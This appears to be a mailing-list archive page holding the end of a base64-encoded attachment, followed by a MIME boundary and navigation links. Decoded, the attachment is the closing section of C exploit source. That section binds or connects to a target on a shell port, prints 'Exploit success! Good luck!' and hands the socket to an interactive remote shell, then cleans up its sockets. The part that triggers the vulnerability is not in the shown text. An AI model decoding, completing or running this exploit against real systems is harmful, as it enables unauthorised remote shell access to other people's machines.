ZW4gPSBzaXplb2YoY2xpZW50KTsNCgkJCQkJczMgPSBhY2NlcHQoczIsIChzdHJ1Y3Qgc29ja2Fk
ZHIqKSZjbGllbnQsICZsZW4pOyANCgkJCQkJaWYoczMgIT0gSU5WQUxJRF9TT0NLRVQpIA0KCQkJ
CQl7IA0KCQkJCQkJcHJpbnRmKCJbK10gRXhwbG9pdCBzdWNjZXNzISBHb29kIGx1Y2shIDopXG4i
KTsNCgkJCQkJCXByaW50ZigiWytdID09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0t
PT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09XG4iKTsNCgkJCQkJCXNoZWxsKHMzKTsN
CgkJCQkJfQ0KCQkJCX0JDQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCXByaW50ZigiWytdIENv
bm5lY3QgdG8gc2hlbGwuLi5cbiIpOw0KCQkJDQoJCQkJU2xlZXAoMTAwMCk7DQoJCQkJczIgPSBz
b2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSxJUFBST1RPX1RDUCk7DQoJCQkJc2VydmVyLnNpbl9m
YW1pbHkgPSBBRl9JTkVUOw0KCQkJCXNlcnZlci5zaW5fcG9ydCA9IGh0b25zKHNocG9ydCk7DQoJ
CQkJc2VydmVyLnNpbl9hZGRyLnNfYWRkcj1pbmV0X2FkZHIoaXApOw0KDQoJCQkJcmV0ID0gY29u
bmVjdChzMiwgKHN0cnVjdCBzb2NrYWRkciAqKSZzZXJ2ZXIsIHNpemVvZihzZXJ2ZXIpKTsNCgkJ
CQlpZihyZXQhPTApDQoJCQkJew0KCQkJCQlwcmludGYoIlstXSBFeHBsb2l0IHNlZW0gZmFpbGVk
LlxuIik7DQoJCQkJCV9fbGVhdmU7DQoJCQkJfQ0KCQkJDQoJCQkJcHJpbnRmKCJbK10gRXhwbG9p
dCBzdWNjZXNzISBHb29kIGx1Y2shIDopXG4iKTsNCgkJCQlwcmludGYoIlsrXSA9PT0tLT09PS0t
PT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09
PVxuIik7DQoJCQkJc2hlbGwoczIpOw0KCQkJfQ0KCQl9CQ0KCX0NCg0KI2lmZGVmIFVOSVgNCmV4
aXRfdHJ5Og0KI2VuZGlmDQoNCiNpZm5kZWYgVU5JWA0KIAlfX2ZpbmFsbHkNCiNlbmRpZg0KCXsN
CgkJaWYocyAhPSBJTlZBTElEX1NPQ0tFVCkgY2xvc2Vzb2NrZXQocyk7DQoJCWlmKHMyICE9IElO
VkFMSURfU09DS0VUKSBjbG9zZXNvY2tldChzMik7DQoJCWlmKHMzICE9IElOVkFMSURfU09DS0VU
KSBjbG9zZXNvY2tldChzMyk7DQoJCQ0KI2lmbmRlZiBVTklYDQoJCVdTQUNsZWFudXAoKTsNCiNl
bmRpZg0KCX0NCg0KCXJldHVybiAwOw0KfQ0K

--=====001_Dragon223776531310_=====--


home help back first fref pref prev next nref lref last post